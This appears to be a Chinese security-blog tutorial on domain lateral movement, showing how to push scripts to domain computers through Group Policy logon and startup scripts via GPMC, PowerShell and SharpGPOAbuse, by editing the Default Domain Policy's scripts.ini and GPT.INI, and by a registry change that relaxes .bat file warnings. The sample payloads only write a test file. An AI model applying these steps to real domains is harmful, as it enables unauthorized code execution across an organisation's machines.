域渗透——利用 GPO 中的脚本实现远程执行
0x00 前言
在之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》 介绍了通过域组策略(Group Policy Object) 远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object) 的脚本实现远程执行。
0x01 简介
本文将要介绍以下内容:
- 通过 Group Policy Management Console (GPMC) 实现脚本的远程执行
- 通过命令行实现脚本的远程执行
- 新建 GPO 实现远程执行
- 修改已有的 GPO,实现远程执行
- 实现细节
0x02 通过 Group Policy Management Console (GPMC) 实现脚本的远程执行
1.创建 GPO
在域控制器上,位置: Administrative Tools
-> Group Policy Management
如果想要作用于整个域,选择域 test.com
,右键,选择 Create a GPO in this domain,and Link it here...
,如下图
如果想要作用于指定对象,需要选择提前创建好的 OU,右键,选择 Create a GPO in this domain,and Link it here...
,如下图
补充: 创建 OU 的位置: Administrative Tools
-> Active Directory Users and Computers
2.配置 GPO
选择创建好的 GPO,右键,选择 Edit...
(1) 指定 Startup/Shutdown/Logon/Logoff
时要执行的脚本
Startup/Shutdown
的位置为 Computer Configuration
-> Windows Settings
-> Scripts(Startup/Shutdown)
,作用于域内计算机的开机和关机事件
Logon/Logoff
的位置为 User Configuration
-> Windows Settings
-> Scripts(Logon/Logoff)
,作用于域用户的登陆和注销事件
这里以配置用户 test1 的登陆脚本为例进行配置,选择 Login
,将要执行的脚本上传至域共享文件夹,默认位置为: \\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon
,配置登陆执行的脚本为 logon1.bat
,如下图
注:直接将脚本上传至 \\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon
不会生效,必须在 Logon
中指定要执行的脚本
(2) 等待域组策略更新
默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟,域控制器的组策略每 5 分钟更新
为了提高测试效率,可在客户端执行命令 gpupdate /force
强制更新组策略
(3) 等待触发脚本执行
在 Computer01 上登陆用户 test1,发现执行了脚本 logon1.bat
0x03 通过命令行实现脚本的远程执行
1.作用于全域
(1) 创建一个 GPO
Powershell 命令: New-GPO -Name TestGPO1
(2) 将 GPO 连到到域 test.com
Powershell 命令: New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"
注:两条命令可以简写为一条命令: new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"
(3) 通过 SharpGPOAbuse 设置执行的脚本
命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"
这里也可以通过修改 bat 文件的内容判断用户名实现作用于指定目标,筛选用户 test1 的命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"
(4) 等待域组策略更新
默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟
(5) 等待触发脚本执行
(6) 删除 GPO
Powershell 命令: Remove-GPO -Name TestGPO1
2.作用于指定目标
(1) 创建 OU
Powershell 命令: New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"
(2) 确认用户 test1 的位置
cmd 命令: dsquery user -name test1
返回结果:
"CN=test1,CN=Users,DC=test,DC=com"
(3) 将指定用户 test1 移动至新创建的 OUtest2
cmd 命令: dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"
也可以使用 cmd 命令: dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"
(4) 创建一个 GPO 并将其连接到指定 OU
Powershell 命令: new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"
(5) 通过 SharpGPOAbuse 设置执行的脚本
命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"
(6) 等待域组策略更新
默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟
(7) 等待触发脚本执行
(8) 删除 GPO
Powershell 命令: Remove-GPO -Name TestGPO2
(9) 将用户 test1 移除 OU 至原位置
cmd 命令: dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"
(10) 删除 OU
Powershell 命令:
Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False
0x04 修改已有的 GPO,实现远程执行
默认存在两个组策略,每个文件夹对应一个组策略:
{6AC1786C-016F-11D2-945F-00C04fB984F9}
对应 Default Domain Controllers Policy
{31B2F340-016D-11D2-945F-00C04FB984F9}
对应 Default Domain Policy
默认可利用的组策略为 Default Domain Policy
,这里分为手动修改和通过程序自动实现两部分进行介绍
1.手动修改
(1) 获取 GPO 的 guid
Powershell 命令: get-GPO -Name "Default Domain Policy"
得到 Id 为 31b2f340-016d-11d2-945f-00c04fb984f9
(2) 上传要执行的用户登录脚本
将测试脚本 test1.bat 上传至 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon
(3) 启用用户登录脚本
创建文件 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini
,属性为隐藏文件,内容为:
[Logon]
0CmdLine=test1.bat
0Parameters=
(4) 修改版本信息
修改文件 \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI
,将 Version
的原有数值加上 65536
作为新的数值
具体来说,默认配置下, \\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI
的 Version
值为 3
,第一次修改时需要将其修改为 65539
(5) 更新数据库信息
需要编写程序实现,代码可参考 https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189
当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:
- 备份 GPO
- 修改 Backup.xml
- 修改 gpreport.xml
- 还原 GPO
(6) 等待域组策略更新
默认情况下,域组策略每 90 分钟更新,随机偏移为 0-30 分钟
(7) 等待触发脚本执行
2.通过程序实现
通过 SharpGPOAbuse 可以实现,命令示例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"
0x05 直接执行远程脚本
当我们选择直接执行组策略文件夹中的 bat 文件,会弹框提示无法执行,如下图
这里可以通过修改注册表的方式设置为允许,对应的命令为: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f
该操作也可以通过配置域组策略实现,位置为: User Configuration
-> Administrative Templates
-> Windows Components
-> Attachment Manager
-> Inclusion list for moderate risk file types
,选择 Enabled
,后缀名设置为 .bat
,如下图
0x06 小结
本文介绍了通过域组策略(Group Policy Object) 中的脚本实现远程执行的方法,分享实现细节和利用思路。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: pypsrp 在 Exchange Powershell 下的优化
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论